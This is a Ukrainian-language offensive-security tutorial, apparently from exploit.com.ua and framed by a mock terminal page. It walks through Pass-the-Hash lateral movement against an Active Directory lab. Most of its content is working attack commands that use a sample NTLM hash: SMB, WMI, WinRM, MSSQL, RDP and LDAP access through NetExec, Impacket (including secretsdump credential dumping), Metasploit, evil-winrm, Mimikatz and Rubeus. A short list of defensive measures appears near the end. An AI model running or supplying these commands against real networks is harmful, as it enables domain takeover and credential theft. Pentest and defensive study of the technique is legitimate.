_ SEARCH_ARCHIVE [/]
[ CLOSE_SESSION ]
:(

SYSTEM_HALTED

Your device ran into a critical error due to an unauthorized shell command. The system was halted to prevent data leakage and kernel corruption.

SYS_SEARCH v1.0.4 // CORE_INDEX ⚠️ [!] NEVER TYPE "EXIT" OR "SHUTDOWN" [ESC] TO ABORT
>>
>> LOC: ARCHIVE_ROOT/redteam/lateral_movement_pass_the_hash_attack // SEC_LEVEL: 01 // STATUS: CONFIDENTIAL

>

#LATERAL MOVEMENT#PRIVILEGE ESCALATION#ACTIVE DIRECTORY
FILE_INFO_DECRYPTED
AUTHOR: UNKNOWN_ENTITY
TRANSLATE: @exploit.com.ua

Зміст

  • Вступ
  • Лабораторне середовище
  • Що таке Pass-the-Hash (PtH)?
  • Ключові концепції
  • SMB (Pass-the-Hash)
  • NXC
  • Impacket PSExec
  • Impacket SecretsDump
  • Metasploit (SMB PSExec)
  • pth-winexe
  • WinRM (Pass-the-Hash)
  • Evil-WinRM
  • Metasploit
  • WMI (Pass-the-Hash)
  • MSSQL (Pass-the-Hash)
  • Impacket mssqlclient
  • pth-sqsh
  • RDP (Pass-the-Hash)
  • LDAP (Pass-the-Hash)
  • Windows (Pass-the-Hash)
  • Mimikatz (sekurlsa::pth)
  • Rubeus (Overpass-the-Hash)
  • Стратегії захисту
  • Висновок

Вступ

У світі мережевої безпеки Windows однією з найпотужніших та найнебезпечніших технік бічного переміщення (lateral movement) є атака Pass-the-Hash (PtH). На відміну від традиційних атак на основі паролів, які вимагають злому або вгадування облікових даних, PtH дозволяє атакуючому автентифікуватися як користувач, використовуючи лише перехоплений NTLM-хеш його пароля — без необхідності знати сам пароль у відкритому вигляді.

Ця стаття є детальним технічним посібником з проведення атак Pass-the-Hash у середовищі Windows Active Directory (AD). Ми демонструємо атаку за допомогою кількох популярних інструментів для наступальної безпеки (offensive security), включаючи NetExec (nxc), Impacket, Metasploit, Evil-WinRM та pth-winexe. Усі продемонстровані техніки призначені виключно для освітніх цілей та авторизованого тестування на проникнення.

Лабораторне середовище

  • Ціль: Windows Server 2019 Domain Controller (DC) 192.168.1.11
  • Домен: ignite.local
  • Машина атакуючого: Kali Linux — 192.168.1.17
  • ОС цілі: Windows 10 / Server 2019 Build 17763 x64

Що таке атака Pass-the-Hash?

Коли користувач входить у систему Windows, його пароль ніколи не зберігається у відкритому вигляді. Замість цього Windows обчислює NTLM-хеш (MD4-хеш пароля у форматі Unicode) і зберігає його в базі даних SAM або, у доменних середовищах, у файлі NTDS.DIT на Контролері Домену.

Основна вразливість, яку експлуатує PtH, полягає в самому протоколі автентифікації NTLM. Під час NTLM-автентифікації клієнт доводить знання пароля, обчислюючи відповідь за допомогою хеша — а не відкритого тексту. Це означає, що якщо атакуючий зможе отримати хеш, він зможе видати себе за будь-якого користувача без необхідності зламувати пароль.

Ключові концепції

  • NTLM Hash: MD4-хеш Unicode-пароля (зберігається в SAM/NTDS.DIT)
  • LM Hash: Застарілий, слабкий попередник NTLM (зазвичай порожній/занулений у сучасних системах)
  • Формат хеша: <username>:<RID>:<LM hash>:<NTLM hash>:::
  • Pass-the-Hash працює, оскільки NTLM-автентифікація використовує хеш безпосередньо як облікові дані.

SMB (Pass the Hash)

NXC

Команда nxc smb -x дозволяє атакуючим віддалено виконувати команди в системі Windows, використовуючи автентифікацію за NTLM-хешем. Хоча цей метод є потужним і надійним, він менш прихований через створення служб і логування, що робить його більш помітним порівняно з техніками на основі WMI.

nxc smb 192.168.1.11 -u administrator -H 32196B56FFE6F45E294117B91A83BF38 -x ipconfig

Impacket-PSExec

Команда impacket-psexec забезпечує віддалене виконання команд через SMB за допомогою автентифікації NTLM-хешем. Створюючи тимчасову службу на цільовій системі, вона надає потужний спосіб отримати оболонку з високими привілеями, що робить її часто використовуваною технікою для бічного переміщення в середовищах Active Directory.

impacket-psexec ignite.local/administrator@192.168.1.11 -hashes :32196B56FFE6F45E294117B91A83BF38

Impacket-SecretDump

Команда impacket-secretsdump є потужною технікою для вилучення облікових даних з віддалених систем за допомогою автентифікації NTLM-хешем. Вона дозволяє атакуючим отримувати конфіденційні дані, такі як хеші паролів та облікові дані домену, що робить її критично важливим інструментом для підвищення привілеїв і бічного переміщення в середовищах Active Directory.

impacket-secretsdump ignite.local/shivam@192.168.1.11 -hashes :64FBAE31CC352FC26AF97CBDEF151E03

Metasploit (Microsoft Windows Authenticated User Code Execution)

Цей модуль виконує довільне навантаження (payload) з використанням дійсного імені користувача та пароля адміністратора (або хеша пароля). Модуль можна порівняти з утилітою «psexec» від SysInternals. Тепер цей модуль здатний замітати сліди (clean up) після себе. Програма генерує службу з випадково вибраним ім’ям та описом.

use exploit/windows/smb/psexec
set rhosts 192.168.1.11
set smbuser administrator
set smbdomain ignite.local
set smbpass 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38
run

PTH-Winexe

Команда pth-winexe забезпечує віддалене виконання команд через SMB за допомогою автентифікації NTLM-хешем. Вона працює шляхом створення тимчасової служби на цільовій системі та виконання команд з підвищеними привілеями, що робить її потужним, але менш прихованим методом бічного переміщення.

pth-winexe -U Administrator%00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 //192.168.1.11 cmd.exe

Winrm (Pass the Hash)

NXC

nxc winrm використовується для автентифікації та виконання команд у системах Windows через Windows Remote Management (WinRM) (порти 5985 / 5986). Зазвичай використовується для бічного переміщення в середовищах Active Directory.

nxc winrm 192.168.1.11 -u administrator -H 32196B56FFE6F45E294117B91A83BF38 -x ipconfig

Evil-WinRM

Команда evil-winrm дозволяє атакуючим отримати повністю інтерактивну сесію PowerShell на віддаленій машині Windows, використовуючи автентифікацію за NTLM-хешем. Це один із найзручніших і найпотужніших методів постексплуатації та бічного переміщення в середовищах Active Directory.

evil-winrm -i 192.168.1.11 -u administrator -H 32196B56FFE6F45E294117B91A83BF38

Metasploit

Цей модуль використовується для виконання скриптів або корисних навантажень на віддаленій системі Windows через WinRM.

use auxiliary/scanner/winrm/winrm_script_exec
set RHOSTS 192.168.1.11
set USERNAME administrator
set PASSWORD 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38
run

Цей модуль використовується для виконання команд на віддалених системах Windows через WinRM з використанням дійсних облікових даних.

use auxiliary/scanner/winrm/winrm_cmd
set RHOSTS 192.168.1.11
set USERNAME administrator
set PASSWORD 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38

WMI (Pass the Hash)

NXC

Команда nxc wmi -x дозволяє віддалено виконувати системні команди на цільовій машині за допомогою автентифікації NTLM-хешем. Це швидкий і ефективний метод бічного переміщення, який дозволяє атакуючим виконувати команди без необхідності інтерактивної сесії.

nxc wmi 192.168.1.11 -u administrator -H 32196B56FFE6F45E294117B91A83BF38 -x dir

impacket-wmiexec

Команда impacket-wmiexec забезпечує віддалене виконання команд у системі Windows за допомогою автентифікації NTLM-хешем. Завдяки використанню WMI, вона забезпечує більш приховану альтернативу традиційним методам, таким як PsExec, що робить її популярним вибором для бічного переміщення в середовищах Active Directory.

impacket-wmiexec ignite.local/administrator@192.168.1.11 -hashes :32196B56FFE6F45E294117B91A83BF38

MSSQL (Pass the Hash)

NXC

Ця команда використовує NetExec (nxc) для автентифікації у службі MSSQL і виконання системної команди через Pass-the-Hash (PtH).

nxc mssql 192.168.1.9 -u administrator -H 32196B56FFE6F45E294117B91A83BF38 -x ipconfig

Impacket-MSSqlClient

Команда impacket-mssqlclient забезпечує автентифікацію в MSSQL за допомогою NTLM-хешів через автентифікацію Windows. Вона надає потужну інтерактивну SQL-оболонку, яку можна використовувати для перерахування бази даних (enumeration) і, якщо дозволяють привілеї, для повної компрометації системи через виконання команд.

impacket-mssqlclient raj@192.168.1.9 -hashes 00000000000000000000000000000000:64FBAE31CC352FC26AF97CBDEF151E03 -windows-auth
  • raj@192.168.1.9 → Користувач raj підключається до цільового сервера
  • -hashes LM:NT → Надає LM-хеш (заглушку) та NTLM-хеш (справжні облікові дані)
  • -windows-auth → Використовує автентифікацію Windows/Active Directory замість входу через SQL (SQL login)

Pth-sqsh

Команда pth-sqsh дозволяє атакуючим автентифікуватися в MSSQL за допомогою NTLM-хешів, обходячи необхідність у паролях у відкритому вигляді. Після отримання доступу вона надає інтерактивну SQL-оболонку, яку можна використовувати для збору інформації про бази даних і навіть віддаленого виконання команд.

pth-sqsh -S mssql -U 'ignite\Administrator' -P '00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38' -S 192.168.1.9

Як це працює:

  • Використовує sqsh (клієнт SQL-оболонки) з підтримкою PTH
  • Надсилає NTLM-хеш під час автентифікації
  • Підключається через Автентифікацію Windows
  • Надає інтерактивний доступ до SQL у разі успіху

RDP (Pass the Hash)

Xfreedrp

xfreerdp підтримує PtH для автентифікації по RDP (порт 3389) з використанням NTLM-хешів замість паролів у відкритому вигляді.

Команда xfreerdp3 /pth дозволяє атакуючим встановити повну RDP-сесію, використовуючи лише NTLM-хеш. Це потужна техніка Pass-the-Hash, яка надає інтерактивний доступ до віддаленої системи без необхідності знати пароль користувача у відкритому вигляді.

xfreerdp3 /u:administrator /v:192.168.1.11 /cert:ignore /pth:32196B56FFE6F45E294117B91A83BF38 /timeout:20000 /size:1920x1080

Ldap (Pass the Hash)

NXC

Команда nxc ldap -M whoami надає швидкий і надійний спосіб перевірити автентифікацію на основі NTLM-хеша в Active Directory. Вона допомагає пентестерам підтвердити доступ перед тим, як переходити до глибшого перерахування або експлуатації.

nxc ldap 192.168.1.11 -u administrator -H 32196B56FFE6F45E294117B91A83BF38 -M whoami

Metasploit

auxiliary/gather/ldap_query — це модуль Metasploit, який використовується для запитів до LDAP-сервера з використанням або спеціального LDAP-запиту, або набору вбудованих дій з перерахування (enumeration) на Контролері Домену Active Directory.

use auxiliary/gather/ldap_query
set RHOSTS 192.168.1.11
set USERNAME Administrator
set LDAPPassword 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38
set LDAPDOMAIN ignite.local
run

Ldeep

ldeep — це інструмент для перерахування Active Directory на базі Python, розроблений спеціально для розвідки LDAP. На відміну від традиційного ldapsearch, він надає чистий, зрозумілий для читання вивід і підтримує кілька бекендів (LDAP, Kerberos, cache). Це поширений інструмент в арсеналі Red Team для картування середовищ AD.

ldeep ldap -u Administrator -H :32196B56FFE6F45E294117B91A83BF38 -d ignite.local -s ldap 192.168.1.11 users

Windows (Pass the Hash)

Mimikatz

Mimikatz — це ультимативний інструмент, коли справа доходить до прямого протистояння з Windows Security. Ми використовували обліковий запис Administrator та Хеш. Нам також потрібно вказати домен.

Команда sekurlsa::pth у Mimikatz дозволяє атакуючим автентифікуватися як користувач, використовуючи лише його NTLM-хеш, шляхом ін’єкції його в новий процес. Ця техніка є ключовим компонентом бічного переміщення в атаках на Active Directory і усуває необхідність у паролях у відкритому вигляді.

sekurlsa::pth /user:Administrator /domain:ignite.local /ntlm:32196B56FFE6F45E294117B91A83BF38

Rubeus

Команда asktgt у Rubeus дозволяє атакуючим запитувати Kerberos TGT за допомогою NTLM-хеша і впроваджувати його в поточну сесію. Ця техніка, відома як Overpass-the-Hash, перетворює облікові дані NTLM на автентифікацію Kerberos, дозволяючи приховане бічне переміщення в середовищах Active Directory.

Rubeus.exe asktgt /domain:igntie.local /user:Administrator /rc4: 32196b56ffe6f45e294117b91a83bf38 /ptt

Стратегії захисту

  • Увімкніть Windows Credential Guard для захисту NTLM-хешів у пам’яті (вимагає UEFI + Hyper-V)
  • Застосуйте KB2871997, щоб обмежити кешування облікових даних NTLM (запобігає PtH у багатьох сценаріях)
  • Впровадьте принцип найменших привілеїв — не використовуйте облікові записи Domain Admin для повсякденних операцій
  • Вимкніть автентифікацію NTLM, де це можливо — примусово використовуйте Kerberos із шифруванням AES
  • Увімкніть групу безпеки Protected Users для конфіденційних облікових записів — це блокує NTLM-автентифікацію для її членів
  • Впровадьте багаторівневу модель адміністрування (tiered administration model) — розділіть Tier 0 (DC), Tier 1 (Servers), Tier 2 (Workstations)
  • Розгорніть Microsoft LAPS (Local Administrator Password Solution) для рандомізації паролів локальних адміністраторів
  • Увімкніть SMB Signing, щоб запобігти атакам ретрансляції (relay attacks), які часто доповнюють PtH
  • Обмежте доступ до WinRM через Брандмауер Windows лише для авторизованих хостів управління
  • Відстежуйте та налаштовуйте сповіщення про патерни бічного переміщення за допомогою SIEM (Splunk, Microsoft Sentinel тощо)

Висновок

Pass-the-Hash залишається однією з найпотужніших і найширше використовуваних технік бічного переміщення в середовищах Active Directory. Ланцюг атак, продемонстрований у цій статті — від дампінгу облікових даних DCSync до повного графічного доступу по RDP — ілюструє, як один скомпрометований NTLM-хеш може надати атакуючому повне домінування в домені через різні протоколи та служби.

Ключові висновки для пентестерів: PtH нативно працює з багатою екосистемою інструментів; численні протоколи (SMB, WMI, WinRM, RDP, MSSQL) є вразливими; а єдиний хеш адміністратора може поширити доступ на все середовище. Для спеціалістів із захисту (Blue Team) пріоритетом має стати зменшення використання NTLM, впровадження Credential Guard та створення комплексного виявлення бічного переміщення за допомогою моніторингу журналів подій та поведінкової аналітики.

[!] SYSTEM_INCOMPATIBILITY_REPORT

FATAL_ERROR: MOBILE_DISPLAY_NOT_SUPPORTED

The requested resource "exploit.com.ua" is optimized for desktop terminal environments only.

Mobile UI decoding is currently in progress...